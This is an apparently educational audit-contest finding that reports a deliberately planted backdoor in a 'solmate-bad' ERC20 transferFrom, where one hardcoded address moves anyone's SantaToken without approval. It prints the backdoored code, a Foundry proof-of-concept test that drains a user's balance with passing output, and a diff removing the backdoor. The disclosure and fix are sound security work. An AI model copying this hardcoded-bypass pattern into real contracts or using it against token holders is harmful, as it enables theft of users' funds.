Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`solmate-bad ERC20:: transferFrom` allows a particular address to drain `Santa Token`from other users wallets

Summary

A particular address added by deployer can drain tokens from other users without the approval.

Vulnerability Details

SantaToken is inherited from solmate-bad: ERC20 unlike the correct solmate ERC20. Current ERC20 from which SantaToken is inherited has vulnerability added by the creator (south pole contract elves). Check the following snippet -

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// hehehe :)
// https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
@> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
@> balanceOf[from] -= amount;
@> unchecked {
@> balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

The marked lines allows 0x815F577F1c1bcE213c012f166744937C889DAF17 to drain SantaToken from any wallet and send to the wallet he wants. This makes Token useless.

Moreover comment on highlighted line confirm his intentions. if we go to https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
then click on click to see more on arbitrum explorer.

You'll see a msg 0x4920616d20676f696e6720746f206861636b2053616e74617320546f6b656e21
If we convert it to UTF-8, it shows I am going to hack Santas Token!

POC

add following test in existing test suite.

function testEvilElveCanTransferAnybodyTokens() public {
//// Santa is in command
//// set user status
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
//// let's do some time travel
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
//// User is in command
vm.startPrank(user);
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
console2.log("User balance before attack", santaToken.balanceOf(user));
vm.stopPrank();
//// Evil Elve is in command
vm.startPrank(0x815F577F1c1bcE213c012f166744937C889DAF17);
santaToken.transferFrom(user, 0x815F577F1c1bcE213c012f166744937C889DAF17, 1e18);
vm.stopPrank();
console2.log("User balance after attack", santaToken.balanceOf(user));
console2.log("Evil elve balance after attack", santaToken.balanceOf(0x815F577F1c1bcE213c012f166744937C889DAF17));
}

run forge test --match-test testEvilElveCanTransferAnybodyTokens -vv in your terminal and you'll see the following results.

[⠢] Compiling...
[⠊] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.74s
Compiler run successful!
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testEvilElveCanTransferAnybodyTokens() (gas: 203685)
Logs:
User balance before attack 1000000000000000000
User balance after attack 0
Evil elve balance after attack 1000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.66ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Users SantaTokens will be drained by the 0x815F577F1c1bcE213c012f166744937C889DAF17

Tools Used

Foundry, Manual Review

Recommendations

Remove the vulnerable code as shown below.

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
- // hehehe :)
- // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.